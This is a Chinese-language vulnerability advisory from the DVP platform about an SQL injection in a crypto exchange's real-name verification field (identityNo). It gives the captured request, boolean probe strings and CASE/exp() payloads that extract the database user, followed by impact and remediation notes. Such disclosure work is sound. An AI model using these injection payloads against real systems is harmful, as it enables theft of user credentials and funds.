漏洞分析 | 某通用交易所存在SQL注入漏洞
前言
此次分析的漏洞由白帽子在2018 年 9 月提交至DVP漏洞平臺,在確認漏洞真實有效後,DVP第一時間嘗試聯絡該廠商,但經多次聯絡未果,且使用此套原始碼的交易所以接近無的情況下,DVP決定公開此漏洞,特提醒所有交易所與開發人員注意規避防禦此類漏洞。
0x01 漏洞分析
- 此漏洞觸發點需要使用者登入後才能觸發
- 此漏洞注入點在實名認證的證件號碼中

我們隨便填寫後點擊提交,抓包能看到以下引數,其中注入點就在 identityNo 引數中。
realName=%E9%98%BF%E8%90%A8%E5%BE%B7&identityType=0&identityNo=123456798123456789
測試新增 ‘or’1’=’1 提示身份證已存在。
測試新增 ‘or’1’=’2 則提示 系統繁忙。
很明顯,此處執行了我們構造的SQL語句,可根據此回顯特徵進行注入。
猜測當前user()的長度
' or 1=case when length(user())=1 then 1 else exp(0) end or '1'='1
由上圖發現當前使用者長度為 22
猜測當前使用者名稱
' or 1=case when mid(user(),1,1)=' a' then 1 else exp(11111) end or '1'='1
由上圖即可得出當前使用者 otcuser@172.*.*.14
0x02 漏洞危害
攻擊者可利用此漏洞 獲取 資料庫中的 敏感資料 ,例如網站使用者的 賬號密碼 、 管理員 的 賬號密碼 、使用者 手機的驗證碼等敏感資訊,獲取到此類敏感資訊攻擊者可匹配碰撞使用者的MD5然後讀取資料庫的驗證碼即可登入使用者賬號進行一系列操作,鑑於此漏洞危機使用者資產,故DVP漏洞平臺在此套原始碼使用量將近無的情況下公開此類漏洞,希望所有交易所與開發人員注意規避防禦此類漏洞,避免使用者資產受威脅。
0x03修復建議:
不信任使用者輸入的任何引數,對使用者輸入的每一個輸入點進行過濾,敏感操作請求攜帶CSRF_TOKEN避免使用者重放操作。